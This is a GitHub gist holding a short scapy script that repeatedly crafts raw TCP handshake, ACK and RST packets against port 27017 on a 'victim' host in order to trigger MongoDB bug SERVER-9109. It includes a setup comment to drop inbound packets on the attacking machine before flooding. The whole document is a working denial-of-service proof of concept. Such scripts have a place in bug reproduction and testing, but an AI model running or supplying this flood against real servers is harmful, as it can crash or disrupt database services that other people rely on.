Skip to content

Instantly share code, notes, and snippets.

@darkk
Created December 9, 2013 09:33

Revisions

  1. darkk created this gist Dec 9, 2013.
    13 changes: 13 additions & 0 deletions server-9109-sca.py
    Original file line number Diff line number Diff line change
    @@ -0,0 +1,13 @@
    # scapy script to trigger bug in mongod / mongos: https://jira.mongodb.org/browse/SERVER-9109
    #
    # Do $(iptables -I INPUT -p tcp --dport 12345 -j DROP) at vm host before flooding.

    vm = '1.2.3.4' # src
    victim = '9.8.7.6' # dst
    def f():
    syn = IP(src=vm, dst=victim)/TCP(sport=12345, dport=27017, flags="S")
    sa = sr1(syn)
    ack = IP(src=vm, dst=victim)/TCP(sport=12345, dport=27017, seq=sa.ack, ack=sa.seq+1, flags="A")
    rst = IP(src=vm, dst=victim)/TCP(sport=12345, dport=27017, seq=sa.ack, ack=sa.seq+1, flags="RA")
    send([ack, rst])
    while True: f()